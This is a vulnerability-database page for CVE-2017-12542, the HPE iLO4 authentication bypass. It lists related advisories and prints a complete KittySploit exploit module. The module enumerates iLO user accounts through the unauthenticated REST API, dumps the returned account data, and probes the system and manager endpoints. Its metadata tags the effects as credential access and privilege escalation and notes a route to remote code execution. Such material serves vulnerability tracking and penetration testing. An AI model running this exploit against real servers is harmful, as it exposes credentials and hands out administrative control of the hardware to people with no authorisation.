HPE iLO4 Authentication Bypass (CVE-2017-12542)
| Reporter | Title | Published | Views | Family All 36 |
|---|---|---|---|---|
| HPE iLO4 < 2.53 - Add New Administrator User Exploit | 8 Feb 201800:00 | – | zdt | |
| Exploit for CVE-2017-12542 | 16 Aug 201900:03 | – | githubexploit | |
| Exploit for CVE-2017-12542 | 5 Feb 201818:55 | – | githubexploit | |
| CVE-2017-12542 | 15 Feb 201800:00 | – | attackerkb | |
| The vulnerability of the HPE Integrated Lights-out 4 (iLO 4) server management tool lies in its authentication procedures’ flaws, which allow attackers to bypass the authentication process and execute arbitrary code. | 7 Jun 201800:00 | – | bdu_fstec | |
| CVE-2017-12542 | 27 Apr 201823:53 | – | circl | |
| HP Integrated Lights-out 4 Remote Code Execution Vulnerability | 25 Aug 201700:00 | – | cnvd | |
| HPE Integrated Lights-Out 4 Authentication Bypass (CVE-2017-12542) | 8 Jul 201800:00 | – | checkpoint_advisories | |
| HPE Lights-Out Authentication Bypass (CVE-2017-12542) | 22 Nov 201800:00 | – | checkpoint_advisories | |
| CVE-2017-12542 | 15 Feb 201822:00 | – | cve |
10
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""HPE iLO4 authentication bypass (CVE-2017-12542)."""
import json
from kittysploit import *
from lib.protocols.http.http_client import Http_client
class Module(Exploit, Http_client):
__info__ = {
'name': 'HPE iLO4 Authentication Bypass (CVE-2017-12542)',
'description': (
'Exploits CVE-2017-12542 in HPE Integrated Lights-Out 4 before 2.53: '
'unauthenticated REST access to /rest/v1/AccountService/Accounts and related APIs.'
),
'author': ['KittySploit Team'],
'cve': ['CVE-2017-12542'],
'platform': Platform.MULTI,
'references': [
'https://nvd.nist.gov/vuln/detail/CVE-2017-12542',
'https://support.hpe.com/hpsc/doc/public/display?docId=emr_na-hpesbhf03769en_us',
],
'tags': ['hpe', 'ilo', 'ilo4', 'auth-bypass', 'vkev'],
'agent': {
'risk': 'critical',
'effects': ['credential_access', 'privilege_escalation'],
'expected_requests': 3,
'reversible': True,
'approval_required': True,
'produces': ['credentials', 'admin_surface'],
'chain': {
'suggested_followups': ['scanner/http/cve_2017_12542_detect'],
},
},
}
accounts_path = OptString(
'/rest/v1/AccountService/Accounts',
'iLO accounts REST endpoint',
required=False,
advanced=True,
)
def check(self):
path = str(self.accounts_path or '/rest/v1/AccountService/Accounts').strip()
r = self.http_request(method='GET', path=path, allow_redirects=False)
if not r or r.status_code != 200:
return {'vulnerable': False, 'reason': 'Accounts API not accessible', 'confidence': 'medium'}
body = r.text or ''
if 'iLO User' in body or 'Members' in body:
return {'vulnerable': True, 'reason': 'Unauthenticated iLO account enumeration', 'confidence': 'high'}
return {'vulnerable': False, 'reason': 'Expected iLO account JSON missing', 'confidence': 'low'}
def run(self):
chk = self.check()
if not chk.get('vulnerable'):
print_error(chk.get('reason'))
return False
path = str(self.accounts_path or '/rest/v1/AccountService/Accounts').strip()
r = self.http_request(method='GET', path=path, allow_redirects=False)
body = (r.text or '') if r else ''
try:
print_success(json.dumps(json.loads(body), indent=2)[:4000])
except json.JSONDecodeError:
print_success(body[:4000])
for extra in (
'/rest/v1/Systems/1',
'/rest/v1/Managers/1',
):
er = self.http_request(method='GET', path=extra, allow_redirects=False)
if er and er.status_code == 200:
print_status(f'{extra} — HTTP 200 ({len(er.text or "")} bytes)')
print_warning('iLO auth bypass enables account creation / virtual media RCE on some builds')
return True
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
05 Oct 2026 14:20Current
8.4High risk
Vulners AI Score8.4
CVSS 310
CVSS 210
EPSS0.99294